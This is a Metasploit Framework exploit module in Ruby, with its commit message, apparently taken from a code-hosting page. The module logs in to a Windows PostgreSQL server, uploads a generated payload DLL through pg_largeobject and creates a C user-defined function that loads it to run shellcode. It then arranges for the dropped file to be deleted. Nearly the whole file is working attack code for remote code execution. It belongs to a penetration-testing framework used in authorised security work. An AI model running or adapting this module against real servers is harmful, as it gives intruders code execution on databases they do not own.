20cc2fa38d
* Adds Exploit::EXE to windows/postgres/postgres_payload. This gives us the ability to use generate_payload_dll() which generates a generic dll that spawns rundll32 and runs the shellcode in that process. This is basically what the linux version accomplishes by compiling the .so on the fly. On major advantage of this is that the resulting DLL will work on pretty much any version of postgres * Adds Exploit::FileDropper to windows version as well. This gives us the ability to delete the dll via the resulting session, which works because the template dll contains code to shove the shellcode into a new rundll32 process and exit, thus leaving the file closed after Postgres calls FreeLibrary. * Adds pre-auth fingerprints for 9.1.5 and 9.1.6 on Ubuntu and 9.2.1 on Windows * Adds a check method to both Windows and Linux versions that simply makes sure that the given credentials work against the target service. * Replaces the version-specific lo_create method with a generic technique that works on both 9.x and 8.x * Fixes a bug when targeting 9.x; "language C" in the UDF creation query gets downcased and subsequently causes postgres to error out before opening the DLL * Cleans up lots of rdoc in Exploit::Postgres
133 lines
3.9 KiB
Ruby
133 lines
3.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
# Creates an instance of this module.
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
|
|
'Description' => %q{
|
|
On default Microsoft Windows installations of PostgreSQL the postgres
|
|
service account may write to the current directory (which is usually
|
|
"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
|
|
major.minor version of PostgreSQL). UDF DLL's may be sourced from
|
|
there as well.
|
|
|
|
This module uploads a Windows DLL file via the pg_largeobject method
|
|
of binary injection and creates a UDF (user defined function) from
|
|
that DLL. Because the payload is run from DllMain, it does not need to
|
|
conform to specific Postgres API versions.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
|
|
'todb' # this Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', ],
|
|
[ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Windows x86_64', { 'Arch' => ARCH_X86_64 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
|
|
))
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET')
|
|
end
|
|
|
|
def check
|
|
version = postgres_fingerprint
|
|
|
|
if version[:auth]
|
|
print_status "Authentication successful. Version: #{version}"
|
|
return CheckCode::Vulnerable
|
|
else
|
|
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
|
return CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
version = do_login(username,password,database)
|
|
case version
|
|
when :noauth; print_error "Authentication failed."; return
|
|
when :noconn; print_error "Connection failed."; return
|
|
else
|
|
print_status("#{rhost}:#{rport} - #{version}")
|
|
end
|
|
|
|
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
|
|
register_files_for_cleanup(fname)
|
|
|
|
unless postgres_upload_binary_data(generate_payload_dll, fname)
|
|
print_error "Could not upload the UDF DLL"
|
|
return
|
|
end
|
|
|
|
print_status "Uploaded as #{fname}"
|
|
begin
|
|
func_name = Rex::Text.rand_text_alpha(10)
|
|
postgres_query(
|
|
"create or replace function pg_temp.#{func_name}()"+
|
|
" returns void as '#{fname}','#{func_name}'"+
|
|
" language c strict immutable"
|
|
)
|
|
rescue RuntimeError => e
|
|
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
|
end
|
|
postgres_logout if @postgres_conn
|
|
|
|
end
|
|
|
|
# Authenticate to the postgres server.
|
|
#
|
|
# Returns the version from #postgres_fingerprint
|
|
def do_login(user=nil,pass=nil,database=nil)
|
|
begin
|
|
password = pass || postgres_password
|
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
|
result = postgres_fingerprint(
|
|
:db => database,
|
|
:username => user,
|
|
:password => password
|
|
)
|
|
if result[:auth]
|
|
report_service(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:name => "postgres",
|
|
:info => result.values.first
|
|
)
|
|
return result[:auth]
|
|
else
|
|
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
|
return :noauth
|
|
end
|
|
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
|
return :noconn
|
|
end
|
|
end
|
|
|
|
|
|
end
|